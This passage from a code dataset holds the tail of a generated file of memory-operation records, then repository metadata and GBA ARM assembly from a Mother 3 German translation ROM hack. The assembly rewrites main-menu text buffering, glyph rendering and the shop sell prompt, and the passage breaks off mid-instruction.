'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 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34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
30.245059
2,999
0.660742
ab647026a9670ccc36c46c5bad74d712b164456c
189,593
asm
Assembly
main_menu_hacks.asm
BetaDream-X/Mother3German
478a40a93ab6d9fba78eed0435642c2a2b958923
[ "MIT" ]
11
2020-07-29T10:27:39.000Z
2022-02-18T08:37:24.000Z
main_menu_hacks.asm
BetaDream-X/Mother3German
478a40a93ab6d9fba78eed0435642c2a2b958923
[ "MIT" ]
34
2017-04-27T14:51:43.000Z
2021-06-27T14:00:26.000Z
main_menu_hacks.asm
BetaDream-X/Mother3German
478a40a93ab6d9fba78eed0435642c2a2b958923
[ "MIT" ]
3
2021-01-12T02:32:04.000Z
2021-06-06T01:12:27.000Z
main_menu_hacks: //============================================================================================= // This set of hacks makes the game load and display long strings on main menu stuff correctly. //============================================================================================= .write_item_text: push {r0-r1,lr} // custom jeff code ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#6 bne + pop {r0} str r0,[sp,#0xC] // clobbered code ldr r0,[r4,#0x0] pop {r1,pc} // + mov r1,#0x58 // # of max letters per item * 4, since each letter has 4 bytes for some reason cmp r0,#0x10 //If we're in the loading/saving menu, give some extra space bne + mov r1,#1 lsl r1,r1,#8 //This needs to print an actual string, not an item + ldr r0,=#0x2013070 // starting address of our item names in RAM mul r1,r6 // r6 has the current item counter, which is nice and convenient for us add r0,r0,r1 // r2 now has the proper spot in RAM for the item pop {r1} // get the address the game would write to normally str r0,[r1,#0x0] // r0 leaves with the new address in RAM for longer names yay str r0,[sp,#0xC] // clobbered code ldr r0,[r4,#0x0] pop {r1,pc} //============================================================================================= .write_item_eos: push {lr} // custom jeff code ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#6 beq .write_item_eos_memoes ldr r1,=#0x2013070 mov r2,#0x58 cmp r0,#0x10 bne + mov r2,#1 lsl r2,r2,#8 + mov r0,r10 sub r0,#1 mul r0,r2 add r1,r0,r1 lsl r6,r6,#2 add r1,r1,r6 mov r0,#1 neg r0,r0 str r0,[r1,#0] b .write_item_eos_end .write_item_eos_memoes: ldr r0,[sp,#8] mov r1,#1 neg r1,r1 str r1,[r0,#0] .write_item_eos_end: mov r1,r10 // clobbered code lsl r0,r1,#0x10 pop {pc} //============================================================================================= .clear_data: push {r2-r3,lr} // custom jeff code ldr r2,=#0x201A288 ldrb r2,[r2,#0] cmp r2,#6 beq + // mov r0,#0 push {r0} mov r0,sp ldr r1,=#0x2013060 ldr r2,=#0x8EE mov r3,#1 lsl r3,r3,#24 orr r2,r3 // set the 24th bit of r2 so it'll know to fill instead of copy swi #0x0B // clear old data out add sp,#4 + mov r0,#0xD8 // I assume this is clobbered code? lsl r0,r0,#0x7 pop {r2-r3,pc} //============================================================================================= .find_str: push {lr} ldr r2,[sp,#4+0x2C] ldrb r1,[r2,#0x4] // swap_address_set mov r0,#2 cmp r1,#1 beq .find_str_end mov r3,#0xAA lsl r3,r3,#3 add r3,r4,r3 // last possible address - ldr r0,[r6,#0x0] // load the real next value lsl r0,r0,#0x14 cmp r0,#0 bne .find_str_found add r6,#4 cmp r6,r3 bcs .find_str_not_found b - .find_str_found: ldr r1,[sp,#4+0x20] cmp r1,#6 beq + // if this is the memo menu, we don't swap around, still save we're mid-printing str r6,[r2,#0] // save swap_address ldr r6,[r6,#0] // new address + mov r1,#1 strb r1,[r2,#4] // swap_address_set = true mov r0,#1 .find_str_end: pop {pc} .find_str_not_found: mov r0,#0 // not found any string, signal this and reset everything sub r2,#0x20 str r0,[r2,#0] // set these to 0, we're done printing b .find_str_end //============================================================================================= .exit_str: push {lr} ldr r2,[sp,#4+0x2C] ldr r1,[sp,#4+0x20] cmp r1,#6 beq + ldrb r1,[r2,#0x4] // swap_address_set cmp r1,#1 bne + ldr r6,[r2,#0] // load swap_address if not in the memos menu and it's set + mov r1,#0 strb r1,[r2,#4] // swap_address_set = false pop {pc} //============================================================================================= // Allocates the tiles buffer for the given input in the stack .alloc_tiles_buffer: push {r0-r6,lr} ldr r4,[sp,#0x20+4] // current buffer address ldr r5,[sp,#0x20+0x10] // curr_X ldr r6,[sp,#0x20+0xC] // Y ldr r0,[sp,#0x20+0x18] // Special arrangement loading? cmp r0,#0 beq + lsr r0,r5,#3 bl .new_get_address b .alloc_tiles_buffer_got_vram_addr + lsr r0,r5,#3 asr r1,r6,#3 bl $80498B0 // VRAM address .alloc_tiles_buffer_got_vram_addr: str r0,[r4,#0] lsr r0,r5,#3 asr r1,r6,#3 bl $80498C4 // Arrangement address str r0,[r4,#4] ldr r1,=#0x6008000 ldr r2,[r4,#0] sub r2,r2,r1 // Get how many tiles this is from the start of VRAM mov r1,#0x40 add r1,r0,r1 // Position of bottom arrangements lsr r2,r2,#5 // Top arrangements mov r3,#0x20 add r3,r2,r3 // Bottom arrangements strh r2,[r0,#0] // Set the buffer arrangements strh r3,[r1,#0] add r2,#1 add r3,#1 strh r2,[r0,#2] // Set the buffer arrangements strh r3,[r1,#2] add r2,#1 add r3,#1 strh r2,[r0,#4] // Set the buffer arrangements strh r3,[r1,#4] // Time to prepare the actual buffers ldr r0,[sp,#0x20+0x14] // Is this the first? cmp r0,#0 beq + ldr r0,=#0x2013040 mov r1,r4 add r1,#8 ldr r2,[r0,#8] str r2,[r1,#0] ldr r2,[r0,#0xC] str r2,[r1,#4] ldr r2,[r0,#0x10] str r2,[r1,#8] // Restore the old top tile buffer we saved here add r1,#0x60 ldr r2,[r0,#0x14] str r2,[r1,#0] ldr r2,[r0,#0x18] str r2,[r1,#4] ldr r2,[r0,#0x1C] str r2,[r1,#8] // Restore the old bottom tile buffer we saved here mov r0,#0 push {r0} mov r0,sp mov r1,#0x28 add r1,r4,r1 mov r3,#1 lsl r3,r3,#0x18 mov r2,#0x20 orr r2,r3 swi #0xB // Set the other 2 top tiles of the buffer mov r0,sp mov r1,#0x88 add r1,r4,r1 mov r3,#1 lsl r3,r3,#0x18 mov r2,#0x20 orr r2,r3 swi #0xB // Set the other 2 bottom tiles of the buffer pop {r0} b .alloc_tiles_buffer_end + mov r0,#0 push {r0} mov r0,sp mov r1,#8 add r1,r4,r1 mov r3,#1 lsl r3,r3,#0x18 mov r2,#0x30 orr r2,r3 swi #0xB // Set the 3 top tiles of the buffer mov r0,sp mov r1,#0x68 add r1,r4,r1 mov r3,#1 lsl r3,r3,#0x18 mov r2,#0x30 orr r2,r3 swi #0xB // Set the 3 bottom tiles of the buffer pop {r0} .alloc_tiles_buffer_end: ldr r0,[sp,#0x20+0] // max_buffers sub r0,#1 str r0,[sp,#0x20+0] ldr r0,[sp,#0x20+4] mov r1,#0xCC add r0,r0,r1 str r0,[sp,#0x20+4] mov r0,#0 str r0,[sp,#0x20+0x14] // Set this as not the first pop {r0-r6,pc} //============================================================================================= // Initializes the specified number of tiles in the buffer. // It takes in r0 the max amount of buffers to allocate, in r1 the current buffer address, // X in r2 and Y in r3 .alloc_tiles_buffers: push {r4-r7,lr} add sp,#-0x28 str r0,[sp,#0] // max buffers str r1,[sp,#4] // buffer address str r2,[sp,#8] // X str r3,[sp,#0xC] // Y str r2,[sp,#0x10] // curr_X ldr r1,[sp,#0x3C+0x1C] str r1,[sp,#0x14] // save whether to reload the first tile or not ldr r1,[sp,#0x3C+0x34] str r1,[sp,#0x18] // save extra data for special vram printing cmp r1,#0 beq + ldr r1,[sp,#0x3C+0x38] // WARNING! THESE ARE ALMOST AT THE INSTRUCTION'S RANGE LIMIT! str r1,[sp,#0x1C] // save first base address ldr r1,[sp,#0x3C+0x3C] str r1,[sp,#0x20] // save second base address ldr r1,[sp,#0x3C+0x40] str r1,[sp,#0x24] // save switch value + mov r1,#7 and r2,r1 sub r4,r6,#4 // save str to r4 mov r5,#0 // tile_was_printed mov r3,#1 neg r3,r3 // EOS ldr r7,[sp,#0x3C+0x30] - add r4,#4 ldr r0,[r4,#0x0] // load the real next value cmp r0,r3 // go to the end if it's EOS beq .alloc_tiles_buffers_end lsl r0,r0,#0x14 lsr r0,r0,#0x14 // load the actual value add r0,r7,r0 ldrb r0,[r0,#0] // get the character's length add r2,r2,r0 // increase the length cmp r5,#0 bne + mov r5,#1 // set tile_was_printed bl .alloc_tiles_buffer // alloc the buffer ldr r0,[sp,#0] cmp r0,#0 ble .alloc_tiles_buffers_end + cmp r2,#0x18 blt - ldr r0,[sp,#0x10] .alloc_tiles_buffers_subtract_width: sub r2,#0x18 add r0,#0x18 cmp r2,#0 beq + str r0,[sp,#0x10] bl .alloc_tiles_buffer ldr r1,[sp,#0] cmp r1,#0 ble .alloc_tiles_buffers_end cmp r2,#0x18 bge .alloc_tiles_buffers_subtract_width b - + str r0,[sp,#0x10] mov r5,#0 // unset tile_was_printed b - .alloc_tiles_buffers_end: ldr r0,[sp,#0] // free buffers add sp,#0x28 pop {r4-r7,pc} //============================================================================================= .check_special_bit: push {r2,lr} // why are you pushing r2? :P strh r1,[r6,#2] // original code ldr r0,[r4,#0] // custom jeff code // maybe this is why :O ldr r2,=#0x201A288 ldrb r2,[r2,#0] cmp r2,#6 beq + // ldr r0,[r0,#0] // load the first letter data of the real text in + pop {r2,pc} //============================================================================================= .store_total_strings: // custom jeff code ldr r2,=#0x2013040 strb r0,[r2,#2] // store the strings total add r3,sp,#0xC mov r8,r3 bx lr //============================================================================================= // 2013040 halfword total # of letters // 2013041 ... // 2013042 byte total # of passes that will be needed // 2013043 byte current pass # // this routine initializes most of this stuff .reset_processed_strings: push {lr} // custom jeff code ldr r4,=#0x2013040 // custom area of RAM for this is here mov r2,#0 strb r2,[r4,#3] // total # of strings processed = 0 pop {pc} //============================================================================================= .load_remaining_strings: // custom jeff code ldr r0,[sp,#0x28] ldrb r1,[r0,#2] // get the strings # ldrb r0,[r0,#3] // get the currently processed strings sub r1,r1,r0 bx lr //============================================================================================= .load_remaining_strings_external: // custom jeff code ldr r0,=#0x2013040 ldrb r1,[r0,#2] // get the strings # ldrb r0,[r0,#3] // get the currently processed strings sub r1,r1,r0 bx lr //============================================================================================= .decrement_remaining_strings: // custom jeff code ldr r0,[sp,#0x28] ldrb r1,[r0,#2] // get the strings # ldrb r2,[r0,#3] // get the currently processed strings add r2,#1 strb r2,[r0,#3] // increase them by 1 sub r1,r1,r2 bx lr //============================================================================================= .group_add_check: push {r2-r3} // custom jeff code mov r0,#0 // this will be the final default result ldr r2,=#0x2013040 // address of start of counter area ldrb r1,[r2,#3] // load the current string # ldrb r3,[r2,#2] // load the total # of strings cmp r1,r3 // is curr_str >= total_str?, if so, set r0 to 4 to signal the end blt + // if it's <= total_str, skip this extra stuff mov r0,#4 // this will be r0 at the end, it signals the code that items are done mov r1,#0 // set the strings # back to 0 strh r1,[r2,#2] // set the total length back to 0 so the game won't freak out + mov r1,#7 // clobbered code pop {r2-r3} bx lr //============================================================================================ // This routine converts the VRAM entries from 1bpp to 4bpp. // We want to go VERY FAST. //============================================================================================ .convert_1bpp_4bpp: push {r2,r4-r6,lr} cmp r1,#0 beq .convert_1bpp_4bpp_end ldr r6,=#0x8CDF9F8 mov r2,#0xAA lsl r2,r2,#3 add r5,r2,r4 add r5,#8 // Starting tiles mov r4,r1 .convert_1bpp_4bpp_loop_start: ldrb r0,[r5,#8] cmp r0,#0 beq + mov r0,#3 bl convert_1bpp_4bpp_tiles + .convert_1bpp_4bpp_loop_bottom: add r5,#0x60 ldrb r0,[r5,#8] cmp r0,#0 beq + mov r0,#3 bl convert_1bpp_4bpp_tiles + .convert_1bpp_4bpp_loop_end: sub r4,#1 // One entry is done cmp r4,#0 ble .convert_1bpp_4bpp_end add r5,#0x6C b .convert_1bpp_4bpp_loop_start .convert_1bpp_4bpp_end: pop {r2,r4-r6,pc} //============================================================================================= // THIS CODE AND THE ONE IN text_weld INSIDE sprite_text_hacks ARE BASICALLY THE SAME! // THEY'RE SEPARATED IN ORDER TO MAXIMIZE PERFORMANCES, BUT IF A BUG IS IN ONE OF THEM, // IT'S PROBABLY IN THE OTHER ONE AS WELL //Writes a Glyph stored in r0 to the buffer in r1. r2 is the X and r3 is the letter's info .write_Glyph_1bpp: push {r4-r7,lr} // This is an efficient version of the printing routine mov r5,r1 mov r6,r1 add r6,#0x20 mov r4,r0 mov r7,r2 lsl r2,r3,#0x10 lsr r2,r2,#0x1C mov r0,#1 strb r0,[r5,#8] // This tile is used strb r2,[r5,#9] // Store the palette ldr r3,[sp,#0x14+0x20] // The current letter's width cmp r7,#8 blt + mov r5,r6 add r6,#0x20 cmp r7,#0x10 blt + sub r7,#0x10 mov r5,r6 mov r0,#0x8C add r6,r6,r0 add r0,r7,r3 // Does this cross to the other tile? cmp r0,#8 blt + mov r0,#1 strb r0,[r6,#8] // This tile is used strb r2,[r6,#9] // Store the palette + add r2,r3,#7 // If this isn't a multiple of 8, it will go over a multiple of 8 now lsr r2,r2,#3 // Get total tiles number cmp r2,#2 blt + mov r2,#2 // Prevent bad stuff + //--------------------------------------------------------------------------------------------- mov r0,r8 push {r0} mov r8,r2 mov r2,#0xFF // If we had access to the stack, using a precompiled mov r0,#7 and r0,r7 lsr r2,r0 // array would be faster... Probably lsl r0,r2,#8 orr r2,r0 lsl r0,r2,#0x10 orr r2,r0 .loop_start: push {r3,r7} mov r0,#7 // Only consider part of the tile and r7,r0 ldr r3,[r4,#0] // Load the first 4 rows mov r1,r3 lsr r3,r7 // Shift them by curr_x mov r0,#8 sub r0,r0,r7 lsl r1,r0 and r3,r2 // Left side mvn r2,r2 // Get the inverted version and r1,r2 // Right side // TOP FOUR - LEFT ldr r0,[r5,#0] // load what's in the current row orr r0,r3 // OR them together str r0,[r5,#0] // and now store it back // TOP FOUR - RIGHT str r1,[r6,#0] // and now store it back // Now we do the bottom four! ldr r3,[r4,#4] // Load the last 4 rows mov r1,r3 lsr r3,r7 // Shift them by curr_x mov r0,#8 sub r0,r0,r7 lsl r1,r0 and r1,r2 // Right side mvn r2,r2 // Get the inverted version and r3,r2 // Left side // BOTTOM FOUR - LEFT ldr r0,[r5,#4] // load what's in the current row orr r0,r3 // OR them together str r0,[r5,#4] // and now store it back // BOTTOM FOUR - RIGHT str r1,[r6,#4] // and now store it back pop {r3,r7} mov r0,r8 // increment counter cmp r0,#1 // see if we're still under the # of tiles we need to process ble .routine_end sub r0,#1 mov r8,r0 add r7,#8 mov r0,r5 mov r5,r6 add r6,#0x20 cmp r7,#0x10 blt + add r6,#0x6C sub r3,#8 add r1,r7,r3 cmp r1,#8 blt + sub r0,#0x20 ldrb r1,[r0,#9] // Grab the colour mov r0,#1 strb r0,[r6,#8] // This tile is used strb r1,[r6,#9] // Store the palette + add r4,#8 b .loop_start //--------------------------------------------------------------------------------------------- .routine_end: pop {r0} mov r8,r0 pop {r4-r7,pc} //============================================================================================= //Prints a letter in one of the buffers. r0 is the letter, r1 is the buffer, r2 is the X .print_letter: push {r4-r7,lr} add sp,#-0x24 mov r7,r0 lsl r3,r7,#0x14 // load the current letter's width lsr r3,r3,#0x14 ldr r0,[sp,#0x38+0x30] add r0,r0,r3 ldrb r3,[r0,#0] // r3 = letter's width str r3,[sp,#0x20] // the current letter's width mov r4,r2 mov r6,r1 bl .fast_prepare_main_font // load the letter in the stack mov r5,r0 cmp r5,#0 // is there something to print at all? beq .print_letter_end sub r5,#1 cmp r5,#1 // is there something to print at the top? beq + mov r0,sp mov r1,r6 add r1,#8 mov r2,r4 mov r3,r7 bl .write_Glyph_1bpp + cmp r5,#0 // is there something to print at the bottom? beq .print_letter_end add r0,sp,#0x10 mov r1,r6 add r1,#0x68 mov r2,r4 mov r3,r7 bl .write_Glyph_1bpp .print_letter_end: ldr r0,[sp,#0x20] add sp,#0x24 pop {r4-r7,pc} //============================================================================================= //Checks wheter the next letter will overflow the allocated number of buffers //r0 current letter, r1 number of still not fully used buffers, r2 curr_X in the current "Three tile" .check_if_overflow: push {r4,lr} mov r4,r1 lsl r3,r0,#0x14 // load the current letter's width lsr r3,r3,#0x14 ldr r0,[sp,#8+0x30] add r0,r0,r3 ldrb r3,[r0,#0] // r3 = letter's width add r0,r2,r3 add r0,#0x17 // Check for crossing the line mov r1,#0x18 swi #6 // Divide by 0x18 sub r2,r4,r0 // Free buffers after this mov r0,#0 cmp r2,#0 // Are there any free buffers left? bge + mov r0,#1 // Signal overflow + pop {r4,pc} //============================================================================================ // This section of code stores the letter from the font's data to the stack. // Main font version. Returns if there is data to print or not. // r0 is the letter. r1 is the stack pointer //============================================================================================ .fast_prepare_main_font: ldr r2,=#{main_font} // we already know we're loading main font lsl r0,r7,#0x14 lsr r0,r0,#0x14 lsl r0,r0,#5 add r0,r2,r0 // get the address mov r5,r0 mov r1,sp mov r2,#8 swi #0xB // CpuSet for 0x10 bytes mov r0,r5 add r0,#0x10 add r1,sp,#0x10 mov r2,#8 swi #0xB // CpuSet for 0x10 bytes ldr r0,=#{main_font_usage} lsl r1,r7,#0x14 lsr r1,r1,#0x14 add r0,r0,r1 ldrb r0,[r0,#0] // Load tile usage for the letter bx lr //============================================================================================ // This section of code stores the last tile in a buffer, so it can be reloaded // later when doing the rest of the strings. // r1 is the number of used triple tiles buffers. //============================================================================================ .save_next_tile: push {r1} cmp r1,#0 ble .save_next_tile_end ldr r2,[sp,#4+0x2C] ldrb r2,[r2,#4] // Is there a partially incomplete string? cmp r2,#0 beq .save_next_tile_end ldr r2,[sp,#4+0x14] ldr r0,[sp,#4+0x18] sub r2,r2,r0 // Get the currently not fully used buffers sub r1,r1,r2 // Get the proper buffer the last tile is in mov r0,#0xCC mul r1,r0 ldr r2,[sp,#4+0x24] // Load the X and Y coords ldrh r2,[r2,#8] // Final X ldr r0,[sp,#4+8] // Last X sub r0,r2,r0 // X in the final triple tile mov r2,#0xAA lsl r2,r2,#3 add r2,r2,r4 // Buffers add r2,r2,r1 // Get into the final buffer add r2,#8 // Enter the actual buffer lsr r3,r0,#3 lsl r3,r3,#3 cmp r0,r3 beq .save_next_tile_end // If it's 8-pixels aligned, it won't use this info lsr r0,r0,#3 lsl r0,r0,#5 // Get where the tile is in the buffer ldr r1,[sp,#4+0x28] // Load where to temp store this data ldr r3,[r2,#8] // Load the colour and whether it's used or not - Top Tile str r3,[r1,#0x10] add r0,r2,r0 // Get to the top tile ldr r3,[r0,#0] str r3,[r1,#8] ldr r3,[r0,#4] str r3,[r1,#0xC] // Store the top tile add r2,#0x60 // Process the bottom tile ldr r3,[r2,#8] // Load the colour and whether it's used or not - Bottom Tile str r3,[r1,#0x1C] add r0,#0x60 // Get to the bottom tile ldr r3,[r0,#0] str r3,[r1,#0x14] ldr r3,[r0,#4] str r3,[r1,#0x18] // Store the bottom tile .save_next_tile_end: pop {r1} bx lr //============================================================================================= // This hack is called in order to change how everything is printed in VRAM. Based on 0x8048CE4 //============================================================================================= define max_tiles $28 .print_vram: push {r4-r7,lr} mov r7,r10 // Base code mov r6,r9 mov r5,r8 push {r5-r7} add sp,#-0x44 mov r4,r0 mov r0,#{max_tiles} // max_tiles = buffer max str r0,[sp,#0x10] str r1,[sp,#0x34] // Save type of arrangements loading to r1 cmp r1,#0 beq + mov r0,#0x74 // Change this value if the sp add changes from -0x44 (or the pushes change)!!! mov r1,sp // This is where the data we want is now add r0,r1,r0 ldr r1,[r0,#0] str r1,[sp,#0x38] ldr r1,[r0,#4] str r1,[sp,#0x3C] ldr r1,[r0,#8] str r1,[sp,#0x40] + ldr r1,=#0x25F4 add r0,r4,r1 str r0,[sp,#0x24] // Cache a bunch of values to the stack ldr r6,[r0,#0] ldr r0,=#0x201A288 ldrb r0,[r0,#0] str r0,[sp,#0x20] // Which menu this is ldr r0,=#{main_font_width} str r0,[sp,#0x30] // main_font_width mov r2,#0xAA lsl r2,r2,#3 add r2,r2,r4 mov r9,r2 ldr r0,=#0x2013040 str r0,[sp,#0x28] // Start of the printing data add r0,#0x20 str r0,[sp,#0x2C] // Replacement data bl .load_remaining_strings // Load the remaining number of strings str r1,[sp,#0xC] mov r2,sp mov r0,#1 strh r0,[r2,#0] cmp r1,#0 bne + b .print_vram_end + add r1,sp,#4 mov r10,r1 add r2,sp,#8 mov r8,r2 mov r3,#0xC3 lsl r3,r3,#3 add r7,r4,r3 .print_vram_start_of_str_loop: bl .find_str // Search for the next string cmp r0,#0 bne + b .print_vram_end + sub r0,#1 str r0,[sp,#0x1C] // Save whether to restore the old tiles or not cmp r0,#0 bne .print_vram_get_old_coords // COORD STUFF mov r0,r4 mov r1,r6 ldr r2,[sp,#0x20] cmp r2,#6 // Skip if memo menu beq + ldr r1,[sp,#0x2C] // Load the address this was saved to ldr r1,[r1,#0] + add r2,sp,#4 bl $8049280 // Get the string's coords b .print_vram_got_coords .print_vram_get_old_coords: ldr r1,[sp,#0x24] add r1,#8 ldrh r0,[r1,#0] //Load and save old X mov r3,r10 strh r0,[r3,#0] lsr r2,r0,#3 lsl r2,r2,#3 cmp r2,r0 // If it starts at 0 pixels in a new tile, then it doesn't need to restore the old tiles bne + mov r0,#0 str r0,[sp,#0x1C] // Don't restore the old tiles + ldrh r0,[r1,#2] // Load and save old Y strh r0,[r3,#2] .print_vram_got_coords: add r5,sp,#4 mov r2,#0 ldsh r2,[r5,r2] lsr r1,r2,#3 lsl r1,r1,#3 str r1,[sp,#8] mov r3,#2 ldsh r3,[r5,r3] mov r1,r9 ldr r0,[sp,#0x10] bl .alloc_tiles_buffers // Allocate the buffers for the string ldr r1,[sp,#0x10] str r0,[sp,#0x10] // New amount of free buffers sub r0,r1,r0 str r0,[sp,#0x14] // Amount of buffers used by the string mov r0,#0 str r0,[sp,#0x18] // Currently fully used buffers str r0,[sp,#0x1C] // Do not restore the old tiles - mov r0,#1 neg r0,r0 ldr r1,[r6,#0] cmp r0,r1 beq .print_vram_eos ldr r1,[sp,#0x14] ldr r0,[sp,#0x18] sub r1,r1,r0 // Get the currently not fully used buffers ldrh r2,[r5,#0] ldr r0,[sp,#8] sub r2,r2,r0 // Get the "Three tile" X coord ldr r0,[r6,#0] // Get the current letter bl .check_if_overflow cmp r0,#0 bne .print_vram_out_of_loop mov r1,r9 ldr r0,[sp,#0x18] mov r2,#0xCC mul r0,r2 add r1,r1,r0 // Get the current buffer ldrh r2,[r5,#0] ldr r0,[sp,#8] sub r2,r2,r0 // Get the "Three tile" X coord ldr r0,[r6,#0] // Load the letter bl .print_letter // Returns in r0 the current letter's width ldrh r2,[r5,#0] add r2,r2,r0 strh r2,[r5,#0] ldr r0,[sp,#8] sub r2,r2,r0 // Get the "Three tile" X coord cmp r2,#0x18 blt + .print_vram_handle_long_char: ldr r0,[sp,#8] add r0,#0x18 str r0,[sp,#8] ldr r0,[sp,#0x18] add r0,#1 // Increase the number of fully used buffers str r0,[sp,#0x18] sub r2,#0x18 cmp r2,#0x18 bge .print_vram_handle_long_char + .print_vram_end_of_str_loop: add r6,#4 b - .print_vram_eos: bl .exit_str add r6,#4 mov r1,r9 ldr r0,[sp,#0x14] mov r2,#0xCC mul r0,r2 add r1,r1,r0 // Get the next buffer mov r9,r1 bl .decrement_remaining_strings ldr r0,[sp,#0x10] cmp r0,#0 // Have we printed all that we could? beq .print_vram_out_of_loop cmp r1,#0 // Have we printed all the strings? bgt .print_vram_start_of_str_loop .print_vram_out_of_loop: ldr r0,[sp,#0x24] // clobbered code str r6,[r0,#0] mov r1,r10 ldrh r2,[r1,#0] // Save current coords strh r2,[r0,#8] ldrh r2,[r1,#2] strh r2,[r0,#0xA] .print_vram_end: ldr r0,=#0x76D7 add r2,r4,r0 ldr r0,[sp,#0x10] mov r1,#{max_tiles} // Get how many buffers were used sub r1,r1,r0 strb r1,[r2,#0] // Save the number so the game can use them bl .save_next_tile bl .convert_1bpp_4bpp add sp,#0x44 pop {r3-r5} mov r8,r3 mov r9,r4 mov r10,r5 pop {r4-r7,pc} //============================================================================================= // This hack fixes the string used when you try to sell an item at a shop. //============================================================================================= .sell_text: push {r4-r6,lr} mov r6,r8 mov r0,r7 push {r0,r6} add sp,#-0x8 mov r7,#0x26 // starting x position // Add the sell string to the shitpile // First get its address mov r0,#0x7D // using entry #0x7D in menus1 bl $80486A0 // gets the address of the sell string /// custom mato code! mov r8,r0 // save the address in r0 real quick ldr r5,=#0x2014330 ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need mov r1,r5 ldr r2,=#0x100 bl fill_mem mov r1,r8 // copy string to RAM and parse custom CCs mov r0,r5 bl $8048108 mov r0,r5 // this is where the string now is bl get_string_width mov r8,r0 // store string width in r8 mov r0,r5 // give the string address back to r0 // Set the variables/coords and add it to the shitpile mov r5,#0x1 neg r5,r5 mov r2,#0xF str r2,[sp,#0] mov r6,#1 str r6,[sp,#0x4] mov r1,r7 mov r2,#0x87 mov r3,r5 bl $8047CDC // Add the item string to the shitpile mov r0,r8 // pos += width of last string add r7,r7,r0 ldr r4,=#0x201A1FD ldrb r0,[r4,#0] mov r1,#0xC mov r2,#0x86 bl $8046974 ldrb r1,[r4,#0] mov r0,#0x2 bl $8001C5C push {r0} bl get_string_width mov r8,r0 pop {r0} mov r4,r0 mov r1,#0xF str r1,[sp,#0x0] str r6,[sp,#0x4] mov r1,r7 mov r2,#0x87 mov r3,#0x16 bl $8047CDC mov r0,r8 add r1,r7,r0 // Add the question mark to the shitpile ldr r0,=#.question_mark // address of a question mark mov r2,#0x87 mov r3,#1 bl $8047CDC // Add yes/no to the shitpile mov r0,#0x3 bl $80486A0 mov r1,#0xF str r1,[sp,#0] str r6,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r5 bl $8047CDC mov 